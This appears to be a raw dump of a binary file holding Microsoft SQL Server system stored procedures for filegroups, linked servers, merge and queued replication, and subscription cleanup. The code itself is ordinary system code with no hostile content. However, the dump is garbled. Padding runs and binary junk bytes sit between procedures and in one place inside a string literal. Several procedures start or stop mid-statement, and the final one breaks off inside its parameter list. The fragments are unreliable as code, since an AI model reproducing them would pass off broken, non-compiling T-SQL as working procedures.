!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!#`<>	>M8[~0 :8create procedure sys.sp_helpfilegroup
@filegroupname sysname = NULL		/* filegroup name or all filegroups */
as

set nocount on
-- status & 0x40 is a log file and thus not in any filegroup
if @filegroupname IS NULL
begin
	select 	g.groupname,  g.groupid, 'filecount' =
		(select count(*) from sysfiles f
			where f.groupid = g.groupid
				and (f.status & 0x40 <> 0x40))
	from sysfilegroups g
end
else
begin
	if (filegroup_id(@filegroupname) IS NULL)
	begin
		raiserror (15325, -1, -1, 'filegroup', @filegroupname)
		return (1)
	end
	select 	g.groupname,  g.groupid, 'filecount' =
		(select count(*) from sysfiles f
			where f.groupid = g.groupid
				and (f.status & 0x40 <> 0x40))
	from sysfilegroups g
	where g.groupid = filegroup_id(@filegroupname)

	select 	'file_in_group' = name,  fileid, filename,
	'size' = convert(nvarchar(15), size * 8) + N' KB',
	'maxsize' = (case maxsize when -1 then N'Unlimited'
			else
			convert(nvarchar(15), maxsize * 8) + N' KB' end),
	'growth' = (case status & 0x100000 when 0x100000 then
		convert(nvarchar(3), growth) + N'%'
		else
		convert(nvarchar(15), growth * 8) + N' KB' end)
	from sysfiles
	where groupid = filegroup_id(@filegroupname)
	and (status & 0x40 <> 0x40)
	order by fileid
end

return (0) -- sp_helpfilegroup
0/' $8
-- Requires Certificate signature for catalog access
create procedure sys.sp_MSevaluate_logicalrecordparent @nickname int, @rowguid uniqueidentifier
as
    declare @objid int
            , @logical_record_view_name nvarchar(270)
            , @rgcol nvarchar(270)
            , @replnick binary(6)
            , @retcode int
            , @in_tran bit
            , @command nvarchar(max)
            , @logical_record_parent_oldmaxversion int
            , @logical_record_parent_nickname int
            , @logical_record_parent_rowguid uniqueidentifier
            , @logical_record_parent_gencur bigint
            , @logical_record_parent_regular_lineage varbinary(311)
            , @logical_record_lineage varbinary(311)
            
    -- If this article is not in a logical record relationship, return without doing anything
    select @objid = objid, @logical_record_view_name = 'dbo.' + quotename(object_name(logical_record_view)),
            @logical_record_parent_nickname = logical_record_parent_nickname
    from dbo.sysmergepartitioninfoview 
    where nickname = @nickname
    and logical_record_view is not null
    
    if @logical_record_view_name is null
        return 0
        
    set @retcode = 1
        
    select @rgcol = quotename(name) from sys.columns 
    where object_id = @objid 
    and is_rowguidcol = 1
    
    select top 1 @logical_record_parent_oldmaxversion = maxversion_at_cleanup
    from dbo.sysmergearticles 
    where nickname = @logical_record_parent_nickname

    exec sys.sp_MSmerge_getgencur @logical_record_parent_nickname, 1, @logical_record_parent_gencur output
                    
    exec @retcode = sys.sp_MSgetreplnick @replnick = @replnick output
    if @@error <> 0 or @retcode <> 0
        goto EXIT_PROC
                
    select @command = N'
    select @logical_record_parent_rowguid = logical_record_parent_rowguid
    from ' + @logical_record_view_name + '
    where ' + @rgcol + ' = @rowguid '
    
    begin tran
    save tran eval_logical_record_parent
    select @in_tran = 1
                                
    exec sys.sp_executesql @command, 
        N'@logical_record_parent_rowguid uniqueidentifier output,
        @rowguid uniqueidentifier',
        @logical_record_parent_rowguid = @logical_record_parent_rowguid output,
        @rowguid = @rowguid
    if @@error <> 0
        goto EXIT_PROC
    
    update dbo.MSmerge_contents
    set logical_record_parent_rowguid = @logical_record_parent_rowguid
    where tablenick = @nickname
    and rowguid = @rowguid
    
    update dbo.MSmerge_contents
    set logical_record_lineage = { fn UPDATELINEAGE(logical_record_lineage, @replnick, @logical_record_parent_oldmaxversion+1) }
    where tablenick = @logical_record_parent_nickname
    and rowguid = @logical_record_parent_rowguid
        
    if @@rowcount = 0
    begin
        select @logical_record_lineage = { fn UPDATELINEAGE(0x0, @replnick, @logical_record_parent_oldmaxversion+1) }
            
        -- if no cleanup done yet, use 1 as the version.
        if @logical_record_parent_oldmaxversion = 1
                select @logical_record_parent_regular_lineage = { fn UPDATELINEAGE(0x0, @replnick, 1) }
            else 
                select @logical_record_parent_regular_lineage = @logical_record_lineage
            
        insert into dbo.MSmerge_contents (tablenick, rowguid, lineage, colv1, generation, partchangegen,
            logical_record_parent_rowguid, logical_record_lineage) 
        values(@logical_record_parent_nickname, @logical_record_parent_rowguid, 
            @logical_record_parent_regular_lineage, 0x00, @logical_record_parent_gencur, NULL, 
            @logical_record_parent_rowguid, @logical_record_lineage)
            
        exec @retcode = sys.sp_MSevaluate_change_membership_for_row @tablenick = @logical_record_parent_nickname, 
            @rowguid = @logical_record_parent_rowguid
        if @@error <> 0 or @retcode <> 0
        goto EXIT_PROC
        
    end 
                        
    commit tran
    select @in_tran = 0
        
    select @retcode = 0
        
EXIT_PROC:

if @in_tran = 1
begin
    rollback tran eval_logical_record_parent
    commit tran
    select @in_tran = 0
end

return @retcode
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!<`R<?Cϖ09mL 8
create procedure sys.sp_linkedservers_rowset
(
    @srvname    sysname
)
as
    select
        SVR_NAME            = s_s.name,
        SVR_PRODUCT         = s_s.product,
        SVR_PROVIDERNAME    = s_s.provider,
        SVR_DATASOURCE      = s_s.data_source,
        SVR_PROVIDERSTRING  = s_s.provider_string,
        SVR_LOCATION        = s_s.location,
        SVR_CATALOG         = s_s.catalog
    from
        sys.servers s_s
    where
        s_s.name = @srvname and
        -- Don't use s_s.is_linked, because 0 there means old-style linked server, 1 means new-style.
        s_s.is_data_access_enabled = 1
    order by 1
09mL 8
create procedure sys.sp_linkedservers_rowset;2
as
--
-- Used for backward compatibility:
-- When pre-Yukon client is connected to Yukon server.
--
-------------------------------------------------------------------------------------------
-- copy & pasted from version 1 of the SProc and removed checks for 1st parameter !
-------------------------------------------------------------------------------------------
    select
        SVR_NAME            = s_s.name,
        SVR_PRODUCT         = s_s.product,
        SVR_PROVIDERNAME    = s_s.provider,
        SVR_DATASOURCE      = s_s.data_source,
        SVR_PROVIDERSTRING  = s_s.provider_string,
        SVR_LOCATION        = s_s.location,
        SVR_CATALOG         = s_s.catalog
    from
        sys.servers s_s
    where
        -- Don't use s_s.is_linked, because 0 there means old-style linked server, 1 means new-style.
        s_s.is_data_access_enabled = 1
    order by 1
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<@@WZ3t identity(1,1), colid int)
            insert into @colmap (colid)
            select column_id from sys.columns where object_id = @objid order by column_id
            if (@@error != 0)
            begin
                raiserror(21499, 16, 3, @thisspname, 'populate', '@colmap', @@error)
                return (1)
            end
            --
            -- get the relative column position for msrepl_tran_version
            --
            select @this_col = relativeorder from @colmap where colid = @this_col 
        end
        --
        -- script the bitmap computation
        --
        select @num_bytes = @total_col / 8 + 1
                ,@i_byte = 1 + (@this_col-1) / 8
                ,@i_bit  = power(2, (@this_col-1) % 8 )

        select @len_before = convert(nvarchar(10), @i_byte -1)
                ,@index1 = convert(nvarchar(10), @i_byte)
                ,@index2 = convert(nvarchar(10), @i_byte + 1)
                ,@len_after = convert(nvarchar(10), @num_bytes - @i_byte)

        select @cmd = N'
    select @bitmap = substring(@bitmap, 1, ' + @len_before + 
            ') + (convert(binary(1), substring(@bitmap, ' + @index1 + 
            ', 1) | convert(tinyint,' + convert(nvarchar(10), @i_bit) + 
            '))) + substring(@bitmap, ' + @index2 + 
            ', ' + @len_after + 
            ') '
        exec sys.sp_MSflush_command @cmd, 1
    end -- @op_type = 'upd'
    --
    -- Partition check statement
    --
    if @filter_clause IS NOT NULL
    begin
        declare @retcode int
        exec @retcode = sys.sp_MSsubst_filter_names NULL, N'inserted', @filter_clause output
        if @retcode <> 0 or @@error <> 0
            return 1
            
        select @cmd = N'
    if exists (select * from inserted where not ('
        insert into #proctext(procedure_text) values(@cmd) 
        --
        -- break filter_clause into chunks of 255
        --
        select @start = 1
        while @start < len(@filter_clause)
        begin
            select @sub_len = case when ( len(@filter_clause) < 255) then len(@filter_clause) else 255 end
            select @cmd = substring(@filter_clause, @start, @sub_len)
            exec sys.sp_MSflush_command @cmd output, 1
            select @start = @start + @sub_len
        end
        select @cmd = N'))
    begin 
        exec sys.sp_MSreplraiserror 21034
        goto FAILURE 
    end '
        insert into #proctext(procedure_text) values(@cmd) 
    end
    --
    -- trigger nesting checks
    --
    if (@op_type = 'upd')
    begin
        select @cmd = N'
    ' + '-- trigger nesting check
    ' + '-- error = -1, nested call = 1, not a nested call = 0
    exec @retcode = sys.sp_check_sync_trigger @@procid, @trigger_op OUTPUT, N'''
    + sys.fn_replreplacesinglequote(@subtableowner) collate database_default + ''' 
    if (@retcode = -1)
        goto FAILURE 
    if (@retcode = 1)
        return '
        insert into #proctext(procedure_text) values(@cmd) 
    end
END
1U1
	        --		
			EXEC @retcode = sys.sp_subscription_cleanup
										@publisher = N'all', 
										@publisher_db = N'all', 
										@publication = N'all',
										@reserved = 'drop_all',
                                        @from_backup = @from_backup        
		
			

	    END
	END
    --
    -- this is needed here because in the merge case the above if would not
    -- have been executed.
    --
	IF LOWER(@type collate SQL_Latin1_General_CP1_CS_AS) IN ('merge', 'both')
    BEGIN
		IF OBJECT_ID('MSsubscription_properties', 'U') IS NOT NULL
	    BEGIN			
			EXEC @retcode = sys.sp_MSsub_cleanup_prop_table
			EXEC @retcode = sys.sp_resetsnapshotdeliveryprogress @drop_table = N'true'
		END
	END
	--
    -- cleanup the objects that are still marked by replication bits
    --
	IF LOWER(@type collate SQL_Latin1_General_CP1_CS_AS) IN ('tran', 'both')
    begin
	    exec @retcode = sys.sp_MScleandbobjectsforreplication	   
	end

    --
    -- Clean up syncmgr Registry Keys
    --
    -- This is a brute force cleanup for this particular database. This is required as, for performance reasons,
    --  we are no longer calling sp_MSpublishdb above, which previously called sp_dropsubscription, which cleaned up
    --  these keys. 
    SET @regkey = sys.fn_replgetsqlserverregkey() collate database_default + 'Replication\Subscriptions\'
    insert into @keyexist exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', @regkey
    
    if exists (select KeyExist from @keyexist where KeyExist = 1)
    begin
        create table #syncmgr_subscriptions (subscription_name nvarchar(2000) collate database_default)
        SET @publisher_db_prefix = publishingservername() + ':' + db_name()

        insert into #syncmgr_subscriptions execute master.dbo.xp_regenumkeys 'HKEY_LOCAL_MACHINE', @regkey
   
        -- Filter for only those relating to this database as the registry could
        --  contain keys for other databases on this server 
        declare #subscriptioncursor cursor LOCAL FAST_FORWARD FOR
            select distinct subscription_name
                    from #syncmgr_subscriptions 
                        where left(subscription_name, len(@publisher_db_prefix)) = @publisher_db_prefix
                        for read only
        open #subscriptioncursor
        fetch next from #subscriptioncursor into @subscription_name
        while (@@fetch_status <> -1)
        begin
            set @local_regkey = @regkey + @subscription_name
    
            exec master.dbo.xp_regdeletekey 'HKEY_LOCAL_MACHINE', @local_regkey
    
            fetch next from #subscriptioncursor into @subscription_name
        end
        close #subscriptioncursor
        deallocate #subscriptioncursor

        drop table #syncmgr_subscriptions
    end
    --
    -- all done
    --
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!u`<(Aovjcreate procedure sys.sp_MSscript_trigger_exec_rpc 
(
    @publisher   sysname,
    @publisherdb sysname,
    @publication sysname,
    @procname   sysname,
    @proc_owner sysname,
    @cftproc    sysname,
    @objid       int, 
    @op_type     char(3) = 'ins', 
    @indent      int = 0,
    @identity_col sysname = null,
    @ts_col       sysname = null,
    @primary_key_bitmap   varbinary(4000),
    @pubversion int
)
as
BEGIN
    set nocount on
    declare @cmd nvarchar(4000)
                ,@min_identity int
                ,@max_identity int
                ,@fisqueued bit
                ,@varindent int
                ,@object_owner sysname

    select @fisqueued = case when (@cftproc is NULL) then 0 else 1 end
            ,@object_owner = schema_name(ObjectProperty(@objid, 'SchemaId'))
    --
    -- Set version guid param and column first.
    --
    if @op_type in ('upd')
    begin
        exec sys.sp_MSscript_trigger_version_updates @objid, 'msrepl_tran_version', @indent,
                    @primary_key_bitmap
    end
    --
    -- continue scripting
    --
    select @cmd = N'
        if (@update_mode_id = 1) or (@update_mode_id in (3, 5) and @failover_mode_id = 0)
        begin 
            ' + N'-- 
            ' + N'-- immediate mode 
            ' + N'-- '
    insert into #proctext(procedure_text) values (@cmd)
    --
    -- prepare the proc invocation
    -- 1st two variables are subscriber server name and database name for cycle detection
    --
    select @cmd = N'
            select @rpc_proc = @connect_string + N''.'' + ' + N'N''' +
                sys.fn_replreplacesinglequote(quotename(@proc_owner)) collate database_default + N'.' +
                sys.fn_replreplacesinglequote(quotename(@procname)) collate database_default + N''' 
            exec @retcode = @rpc_proc @subscriber, @subscriber_db,
                        '
    insert into #proctext(procedure_text) values (@cmd)
    --
    -- script the trigger variables
    --
    select @min_identity = @@identity
    if @op_type in ('ins', 'upd')
        exec sys.sp_MSscript_trigger_variables @objid, '@', N'', @indent, N'', 0,  @identity_col, @ts_col

    if @op_type = 'upd'
    begin
        exec sys.sp_MSscript_trigger_variables @objid, '@', '_old', @indent, ',', 0, null, null
        insert into #proctext(procedure_text) values (N'
                        ,@bitmap')
    end
    else if @op_type = 'del'
        exec sys.sp_MSscript_trigger_variables @objid, '@', '_old', @indent, ' ', 0, null, null

    select @max_identity = @@identity
    --
    -- continue scripting
    --
    select @cmd = N'
            if (@@error != 0 or @retcode != 0)
            begin 
                if (@retcode = -2)
                    exec sys.sp_MSreplraiserror 21064
                else if @retcode = 5
                    exec sys.sp_MSreplraiserror 20515
                else
                    exec sys.sp_MSreplraiserror 21054
                    goto FAILURE 
            end
        end'
    insert into #proctext(procedure_text) values (@cmd)    
    --
    -- queued specific processing
    --
    if (@fisqueued = 1)
    begin
        declare @artidstring sysname
                    ,@qversion int
                    ,@foldqueuestyle bit

        --
        -- Check the publisher version
        --
        if (@pubversion = 1)
        begin
            --
            -- Publisher is Pre80SP3
            -- Use the new style of parameter passing - Queue version 1
            --
            select @foldqueuestyle = 1
        end
        else if (@pubversion > 1)
        begin
            --
            -- Publisher is 80SP3 or later
            -- get the article id as string
            -- Use the new style of parameter passing - Queue version 2
            --
            select @artidstring = cast(artid as sysname)
            from (dbo.MSsubscription_articles as a join dbo.MSsubscription_agents as b
                on a.agent_id = b.id)
            where UPPER(b.publisher) = UPPER(@publisher)
                and b.publisher_db = @publisherdb
                and b.publication = @publication
                and a.dest_table = object_name(@objid)
                and a.owner = @object_owner
            if (@artidstring is null)
            begin
                -- could not find a owner qualified article entry
                return 1
            end
            select @foldqueuestyle = 0
        end
        else
        begin
            --
            -- bad publisher version
            --
            return 1
        end
        --
        -- Are we going old style - for backwards compatibility for SQL Queue
        -- For MSMQ we use a newer clsid for queue version and will
        -- use whatever is assigned to the queue during its creation
        -- A newer publisher will imply a newer distributor and we are
        -- okay.
        --
        if (@foldqueuestyle = 1)
        begin
            --
            -- Update the version on the sql queue to v1 if necessary
            --
            update dbo.MSsubscription_agents
            set queue_id = 'mssqlqueue'
            where UPPER(publisher) = UPPER(@publisher)
                and publisher_db = @publisherdb
                and publication = @publication
                and update_mode in (4,5)
                and queue_id != 'mssqlqueue'
        end
        else
        begin
            --
            -- Update the version on the sql queue to v2 if necessary
            --
            update dbo.MSsubscription_agents
            set queue_id = 'mssqlqueuev2'
            where UPPER(publisher) = UPPER(@publisher)
                and publisher_db = @publisherdb
                and publication = @publication
                and update_mode in (4,5)
                and queue_id != 'mssqlqueuev2'
        end
        --
        -- continue scripting
        --
        select @cmd = N'
        else
        begin
            ' + N'--
            ' + N'-- handle queued cases
            ' + N'-- 
            if (@update_mode_id in (2,3))
            begin'
        insert into #proctext(procedure_text) values (@cmd)
        --
        -- MSMQ based write
        --
        if (@foldqueuestyle = 1)
        begin
            --
            -- old style scripting - non secure
            --
            select @cmd = N'
                exec @retcode = sys.sp_replsendtoqueue @queue_id, @tran_id, N' + 
                quotename(@publication, '''') + N', N' + 
                quotename(@cftproc, '''') + N', N' +
                quotename(@proc_owner, '''')    + N', N' + 
                quotename(@procname, '''') + N', @subscriber, @subscriber_db, 
'
        end
        else
        begin
            --
            -- new style scripting - secure
            --
            select @cmd = N'
                exec @retcode = sys.sp_replsendtoqueue @queue_id, @tran_id, N' + 
                quotename(@publication, '''') + N', N' + 
                quotename(@artidstring, '''') + N', N' +
                quotename(@op_type, '''')    + N', N' + 
                quotename(@procname, '''') + N', @subscriber, @subscriber_db, 
'
        end
        insert into #proctext(procedure_text) values (@cmd)
        --
        -- script the trigger variables
        --
        select @varindent = @indent + 8
                ,@min_identity = @@identity
        if @op_type in ('ins', 'upd')
            exec sys.sp_MSscript_trigger_variables @objid, '@', N'', @varindent, N'', 0,  @identity_col, @ts_col,
                        @no_output = 1
        if @op_type = 'upd'
        begin
            exec sys.sp_MSscript_trigger_variables @objid, '@', '_old', @varindent, ',', 0, null, null,
                        @no_output = 1
            insert into #proctext(procedure_text) values (N'!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<Boi*j
                    ,@bitmap')
        end
        else if @op_type = 'del'
            exec sys.sp_MSscript_trigger_variables @objid, '@', '_old', @varindent, ' ', 0, null, null,
                        @no_output = 1

        select @max_identity = @@identity
        --
        -- SQL Queued case
        -- we loop here if the command length exceeds queue message length and
        -- break the command into partial cmds and send it in more than one 
        -- queue message
        --
        select @cmd = N'
            end
            else if (@update_mode_id in (4,5))
            begin
                select @partial_cmd = 1, @start_offset = 0, @end_offset = 0
                while (@partial_cmd != 0)
                begin'
        insert into #proctext(procedure_text) values (@cmd)

        if (@foldqueuestyle = 1)
        begin
            --
            -- old style scripting - non secure
            --
            select @cmd = N'
                    exec @retcode = sys.sp_replwritetovarbin @start_offset, @end_offset output, @vb_buffer output, @vb_bufferlen output, N' + 
                    quotename(@publisher, '''')    + N', N' +    
                    quotename(@publisherdb, '''')    + N', N' +    
                    quotename(@publication, '''')    + N', @tran_id, N' +    
                    quotename(@cftproc, '''')    + N', N' +
                    quotename(@proc_owner, '''')    + N', N' + 
                    quotename(@procname, '''') + N', @subscriber, @subscriber_db, 
'
        end
        else
        begin
            --
            -- new style scripting - secure
            --
            select @cmd = N'
                    exec @retcode = sys.sp_replwritetovarbin @start_offset, @end_offset output, @vb_buffer output, @vb_bufferlen output, N' + 
                    quotename(@publisher, '''')    + N', N' +    
                    quotename(@publisherdb, '''')    + N', N' +    
                    quotename(@publication, '''')    + N', @tran_id, N' +    
                    quotename(@artidstring, '''')    + N', N' +
                    quotename(@op_type, '''') + N', N' + 
                    quotename(@procname, '''') + N', @subscriber, @subscriber_db, 
'
        end
        insert into #proctext(procedure_text) values (@cmd)
        --
        -- script the trigger variables
        --
        select @min_identity = @@identity
        if @op_type in ('ins', 'upd')
            exec sys.sp_MSscript_trigger_variables @objid, '@', N'', @varindent, N'', 0,  @identity_col, @ts_col,
                        @no_output = 1
        if @op_type = 'upd'
        begin
            exec sys.sp_MSscript_trigger_variables @objid, '@', '_old', @varindent, ',', 0, null, null,
                        @no_output = 1
            insert into #proctext(procedure_text) values (N'
                    ,@bitmap')
        end
        else if @op_type = 'del'
            exec sys.sp_MSscript_trigger_variables @objid, '@', '_old', @varindent, ' ', 0, null, null,
                        @no_output = 1

        select @max_identity = @@identity
        --
        -- continue scripting
        --
        select @cmd = N'
                    if @@error != 0 or @retcode != 0 
                    begin 
                        exec sys.sp_MSreplraiserror 21052
                        goto FAILURE 
                    end'
        insert into #proctext(procedure_text) values(@cmd)
        --
        -- handle partial messages
        --
        select @cmd = N'
                    select @partial_cmd = case when (@end_offset > 0) then 1 else 0 end            
                    exec @retcode = sys.sp_MSsendtosqlqueue @@procid, N' + 
                    quotename(@publisher, '''') + N', N' + 
                    quotename(@publisherdb, '''') + N', N' + 
                    quotename(@publication, '''') + N', N' +
                    quotename(@object_owner, '''') +
                    N', @tran_id, @vb_buffer, @vb_bufferlen, 1, @partial_cmd '
        insert into #proctext(procedure_text) values(@cmd)
        --
        -- continue scripting
        --
        select @cmd = N'
                    if @@error != 0 or @retcode != 0 
                    begin 
                        exec sys.sp_MSreplraiserror 21052
                        goto FAILURE 
                    end
                    select @start_offset = @end_offset
                end
            end'
        insert into #proctext(procedure_text) values(@cmd)
        --
        -- continue scripting
        --
        select @cmd = N'
            if @@error <>0 or @retcode <> 0 
            begin 
                exec sys.sp_MSreplraiserror 21052
                goto FAILURE 
            end
        end
    '
        insert into #proctext(procedure_text) values(@cmd)
    end
    --
    -- all done
    --
    return 0
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(C^oHv9
create procedure sys.sp_link_publication 
(
    @publisher sysname,         -- publishing server name or linked entry name for publisher
    @publisher_db sysname,    -- publishing database name
    @publication sysname,      -- publication name
    @security_mode int,           -- 0 = standard; 1 = integrated; 2 = static linked server entry
    @login sysname = null,       -- only needed for standard mode
